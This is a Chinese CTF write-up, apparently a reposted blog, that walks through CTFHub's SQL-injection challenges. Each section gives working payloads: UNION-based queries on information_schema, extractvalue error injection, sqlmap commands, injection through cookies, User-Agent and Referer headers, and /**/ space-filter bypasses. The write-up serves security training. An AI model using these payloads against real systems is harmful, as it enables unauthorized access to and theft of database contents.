当前位置: 首页 > article >正文

web-SQL注入-CTFHub

前言

在众多的CTF平台当中,作者认为CTFHub对于初学者来说,是入门平台的不二之选。CTFHub通过自己独特的技能树模块,可以帮助初学者来快速入门。具体请看官方介绍:CTFHub。

作者更新了CTFHub系列,希望小伙伴们多多支持。

作者的CTFHub技能树汇总:

CTFHub技能树Web汇总-CSDN博客

关于sql注入,作者认为sqli-labs是一个很好的靶场。作者通关了该靶场,训练到了sql注入的大多数技巧。应对这些题型时就已经得心应手,推荐大家也做一下。

sqli_labs的题解:sqli-labs通关全详解-CSDN博客

sql注入的技术总结:SQL注入全详解_sql注入csdn-CSDN博客

整数型注入

首页

输个1,发现出数据了,一看URL,GET型整数注入,而且还把我们输入的SQL语句也拿出来了,似乎不需要闭合

持续输入,id只到2,输入3就没返回值了

输入1’,验证了确实不需要闭合,没有返回数据说明出错了,但没有报错(不能用报错注入)

那就用联合注入,先看看有几个返回值,

1 union select 0,1#

逐见增加,当从0加到1时,有回显,确定返回值是两个(有时候返回值多于回显位,不一定每个值都显示)

接下来确定我们输入的值(即0和1)对应的回显位(注意union前的语句要是错的,前面语句是对的话,就会一直输出1和ctfhub,得不到我们想要的信息)

-1 union select 0,1#

接下来就是常规步骤

-1 union select 0,group_concat(table_name) from information_schema.tables where table_schema = database()#

这个flag表似乎是我们想要的

-1 union select 0,group_concat(column_name) from information_schema.columns where table_name = 'flag'#

连字段名都是flag,那必然是它了

出了

-1 union select 0,group_concat(flag) from flag#

字符型注入

还是输个1,发现是字符型注入,用单引号闭合

确定回显

剩下的步骤和上题基本一样

报错注入

输个1,查询正确,没有回显位,不能用报错注入

输个1’,有报错,而且看起来不用闭合,用报错注入试试

这里我用了extractvalue()报错,floot()、updatexml()报错都是可以的

1 and extractvalue(1,concat(0x7e,(select database())))#

1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database())))#

1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name = 'flag')))#

1 and extractvalue(1,concat(0x7e,(select group_concat(flag) from flag)))#

发现flag不全

1 and extractvalue(1,concat(0x7e,substr((select group_concat(flag) from flag),30,32)))#

原来只差个}

布尔盲注

输个1

1‘,没啥有价值的信息,没有回显也没有报错

用sqlmap

我的sqlmap是安装在windows上的,在其目录下打开cmd,

python sqlmap.py -u http://challenge-503784f287dcc449.sandbox.ctfhub.com:10800/?id=1

成功扫出注入漏洞(是时间盲注,不过无所谓,时间盲注和布尔盲注本质相近)

python sqlmap.py -u http://challenge-503784f287dcc449.sandbox.ctfhub.com:10800/?id=1 --current-db

查看当前数据库名

查看表名

python sqlmap.py -u http://challenge-503784f287dcc449.sandbox.ctfhub.com:10800/?id=1 -D sqli –tables

查看字段名

python sqlmap.py -u http://challenge-503784f287dcc449.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns

查看用户数据

python sqlmap.py -u http://challenge-503784f287dcc449.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --dump

时间盲注

和布尔盲注一样,我们得不到什么有用的信息,用sqlmap

python sqlmap.py -u http://challenge-7ab8ccdca17dd471.sandbox.ctfhub.com:10800/?id=1

剩下的与上一题相同

MySQL结构

首页

输个1,出数据了,一看URL,GET型注入,可以直接从URL上输入,也可以直接在ID框里输入,

这个题而且还把我们输入的SQL语句也拿出来了,似乎不需要闭合

持续输入,id只到2,输入3就没返回值了,所以只有两个id,1和2

输入1’,验证了确实不需要闭合,没有返回数据说明出错了,但没有报错(不能用报错注入)

那就用联合注入,先看看有数据库给我们返回了几个值,

1 union select 0#
1 union select 0,1#

逐次增加,当从0加到1时,有回显,确定返回值是两个(有时候返回值多于回显位,不一定每个返回的值都显示,这里很明显有两个回显位ID和Data)

接下来确定我们输入的值(即0,1)对应的回显位(注意union前的语句要是错的,前面语句是对的话,比如1,就会一直输出1和ctfhub,得不到我们想要的信息,我们之前试过,id只有1和2,所以输入-1肯定是错的,这一步其实可以和前面一步合并,直接拿-1去测返回值个数)

-1 union select 0,1#

发现0对应ID,1对应Data。

接下来就是常规步骤,

在回显位上得到我们想要的信息,我选择在Data位上得到相关信息。

爆表名

-1 union select 0,group_concat(table_name) from information_schema.tables where table_schema = database()#

这个bfapxsidjd似乎是我们想要的,先试试它

爆字段名

-1 union select 0,group_concat(column_name) from information_schema.columns where table_name = 'bfapxsidjd'#

爆用户数据

-1 union select 0,group_concat(dijkatvoat) from bfapxsidjd#

Cookie注入

Cookie注入,抓包,发现hint

看着像url code,用在线URL 编码/解码翻译试试

翻译成:输个1试试?

和之前提示一样

放包,出数据了,用联合注入试试

cookie上加payload,注意别加错位置

经尝试,数字型注入,不需要闭合,有两个返回值

0 union select 1,2--+

0 union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()--+

0 union select 1,group_concat(column_name) from information_schema.columns where table_name = 'nsnlgmojmb'--+

0 union select 1,group_concat(zyrolpptir) from nsnlgmojmb--+

UA注入

把User-Agent处改为1

出现用户数据,那这里就和之前一样,直接注入就可

-1 union select 1,2

猜猜看返回数据是不是只有两个(发现根本不需要注释)

果然还是只有两个

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()

-1 union select 1, group_concat(column_name) from information_schema.columns where table_name = 'narijgvpvg'

-1 union select 1,group_concat(vlmxnrnwsf) from narijgvpvg

Refer注入

Referer注入没有referer?

自己构造一个

referer: 1

Ok了,在这注入

referer: -1 union select 1,2

referer: -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

referer: -1 union select 1,group_concat(column_name) from information_schema.columns where table_name = 'kclnvpdoln'

referer: -1 union select 1,group_concat(lhdlppxexk) from kclnvpdoln

过滤空格

输个1,发现和之前的题一样,按题目来看,是把空格过滤了

针对这种情况,可以有很多方法,比如用其他符号替换、URL编码等,这里可以用/**/或者括号去替换空格

0/**/union/**/select/**/1,2

0/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()

0/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='notpyrplrk'

0/**/union/**/select/**/1,group_concat(bumpvvqaax)/**/from/**/notpyrplrk

综合训练 SQLI-LABS

实际上就是作者在文章开头说的那个靶场,推荐大家自己搭建一下,很简单而且可以节省金币。

具体搭建方法作者在自己文章里引用出来了。


http://www.kler.cn/a/531243.html

相关文章:

  • MySQL子查询
  • 汽车自动驾驶AI
  • 大厂面试题备份20250201
  • Ubuntu 下 nginx-1.24.0 源码分析 main函数 — ngx_cdecl 宏
  • C++运算符重载
  • 【4Day创客实践入门教程】Day2 探秘微控制器——单片机与MicroPython初步
  • 55【ip+dns+域名关系】
  • 说说 Java 中 HashMap 的原理?
  • 51单片机看门狗系统
  • 测试方案和测试计划相同点和不同点
  • 路径规划之启发式算法之二十九:鸽群算法(Pigeon-inspired Optimization, PIO)
  • Ubuntu修改配置文件--编辑操作
  • 攻防世界_php_rce(ThinkPHP框架)
  • FreeRTOS学习 --- 时间管理(相对延时和绝对延时)
  • Python基础-使用list和tuple
  • 树莓派pico入坑笔记,触摸引脚
  • Python从0到100(八十七):CNN网络详细介绍及WISDM数据集模型仿真
  • 软件审批源码,软件审批流程,流程设计器(JAVA代码)
  • idea找不到或无法加载主类怎么解决
  • The Simulation技术浅析(四):随机数生成
  • [Java基础]面向对象
  • Shell $0
  • git基础使用--4---git分支和使用
  • 数据结构(2)——线性表与顺序表实现
  • AMD模块
  • 25.2.3 【洛谷】作为栈的复习不错(学习记录)